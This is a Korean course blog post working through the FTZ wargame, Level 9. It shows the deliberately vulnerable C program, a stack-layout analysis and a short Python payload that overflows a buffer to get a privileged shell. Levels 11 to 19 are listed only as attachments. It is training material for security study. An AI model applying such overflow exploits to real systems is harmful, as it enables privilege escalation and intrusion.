메가IT아카데미 국기과정/리눅스와 시스템보안
[3-11] FTZ 9~19
한님폐하
2022. 9. 12. 18:52
1. FTZ Level 9
1-1. BoF 공격을 위한 소스 코드 내용 분석
- buf, buf2 구조를 파악하여 BoF를 발생시켜서 buf2에 'go'라고하는 2개의 문자를 입력한다.
- 그럼 level10 권한을 획득하여 '/bin/bash' 쉘이 실행되어 level10 계정의 패스워드를 확인할 수 있다.
- BoF가 발생되는 원인은 buf는 10byte인데 fgets 함수로 40byte를 입력받기 때문이다.
1-2. '/usr/bin/bof' 파일은 gdb 디버깅 권한이 없기 때문에 hint에서 제공하는 소스 코드를 이용하여 프로그램을 제작한다.
vi bof.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
gcc -o bof bof.c
gdb -q bof
1-3. 스택 구조 파악
[낮은 주소]
──────── ebp-0x28(40)
buf[10] a * 10
────────
dummy[6] a * 6
──────── ebp-0x18(24)
buf2[10] go
────────
dummy[14]
────────
ebp
────────
ret
────────
argc
────────
argv
────────
env
────────
[높은 주소]
1-4. 실제 프로그램에 BoF 공격 한다.
python -c 'print "a"*16+"go"'
/usr/bin/bof
2. FTZ Level 11
15_FTZ_Level11(strcpy&인자값).txt
0.01MB
3. FTZ Level 12
16_FTZ_Level12(gets&입력).txt
0.01MB
4. FTZ Level 13
17_FTZ_Level13(strcpy&인자값).txt
0.01MB
5. FTZ Level 14
18_FTZ_Level14(fgets&입력).txt
0.01MB
6. FTZ Level 15
19_FTZ_Level15(fgets&입력).txt
0.01MB
7. FTZ Level 16
20_FTZ_Level16(fgets&입력).txt
0.01MB
8. FTZ Level 17
21_FTZ_Level17(fgets&입력)_선생님.txt
0.01MB
9. FTZ Level 18
22_FTZ_Level18(switch&입력).txt
0.01MB
10. FTZ Level 19
23_FTZ_Level19(gets&입력).txt
0.01MB